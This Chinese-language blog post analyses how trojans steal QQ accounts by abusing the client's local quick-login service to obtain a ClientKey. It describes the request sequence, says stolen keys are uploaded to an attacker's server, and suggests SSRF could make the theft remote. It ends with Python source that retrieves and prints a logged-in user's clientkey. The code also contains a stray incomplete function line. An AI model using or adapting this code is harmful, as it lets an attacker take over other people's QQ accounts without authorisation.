QQ ClientKey 盗号原理分析

最近在网上看到有木马上线后可以获取到一个QQKey,利用这个QQKey即可实现无授权登录,经过查阅资料,发现其原理是利用了QQ的快捷登录功能

image-20220627143120045

通过一点点的简答的抓包分析(其实也就是F12打开网络标签页)

image-20220627143356019

image-20220627143337043

image-20220627143501005

image-20220627144707308

本地登录依次请求前面三个链接即可实现获取CliengtKey,请求第四个链接即可实现登陆跳转,完整请求逻辑如下

QQKEY请求逻辑(1)

根据分析,当存在多个账号时,就是依次监听4300~4308的端口以实现多账号选择。

image-20220627145449826

而对于此本地认证服务,根据上图可知,qq完整的免密登录逻辑几乎没有对于本地的安全性检测,唯一做了的就是限制了本地127.0.0.1的端口监听(如上图所示)。

因此现阶段网络上存在的各类盗号软件基本上最直接的逻辑就是,生成恶意程序,发给对方,对方点击运行,程序自动请求上述链接并获取clientKey(QQKEY),并上传至服务器,至此就实现了盗号。

说实话,逻辑真他喵的简单,不过如果能结合其他存在SSRF类型的exp,甚至可以实现远程获取cliengKey实现盗号,不过这也是后话了。

附上Python源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import json

def getLocalToken():
url = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?target=self&appid=522005705&daid=4&s_url=https://wx.mail.qq.com/list/readtemplate?name=login_jump.html%26target=&style=25&low_login=1&proxy_url=https://mail.qq.com/proxy.html&need_qr=0&hide_border=1&border_radius=0&self_regurl=http://zc.qq.com/chs/index.html?type=1&app_id=11005?t=regist&pt_feedback_link=http://support.qq.com/discuss/350_1.shtml&css=https://res.mail.qq.com/zh_CN/htmledition/style/ptlogin_input_for_xmail5ec0c8.css"
return requests.get(url).cookies['pt_local_token']

def pt_get_uins(pt_local_tk):
cookies = {
"pt_local_token":str(pt_local_tk),
}
headers = {
"Referer":"https://xui.ptlogin2.qq.com/"
}
url = "https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.9772917378703209&pt_local_tk={pt_local_tk}".format(pt_local_tk=pt_local_tk)
data = requests.get(url,headers=headers,cookies=cookies).content.split(b"[")[1].split(b']')[0].decode()
data = json.loads("["+data+"]")
return data[0]['uin']

def pt_get_st(clientuin,pt_local_tk):
cookies = {
"pt_local_token":str(pt_local_tk),
}
headers = {
"Referer":"https://xui.ptlogin2.qq.com/"
}
url = "https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={clientuin}&r=0.5251440802971573&pt_local_tk={pt_local_tk}&callback=__jp0".format(clientuin=clientuin,pt_local_tk=pt_local_tk)
data = requests.get(url,headers=headers,cookies=cookies).cookies
return data['clientkey']

def

def main():
pt_local_tk = getLocalToken()
uid = pt_get_uins(pt_local_tk=pt_local_tk)
clientkey = pt_get_st(clientuin=uid,pt_local_tk=pt_local_tk)
print(clientkey)

if __name__ == "__main__":
main()
作者

nekokami0527

发布于

2022-06-27

更新于

2022-10-28

许可协议

评论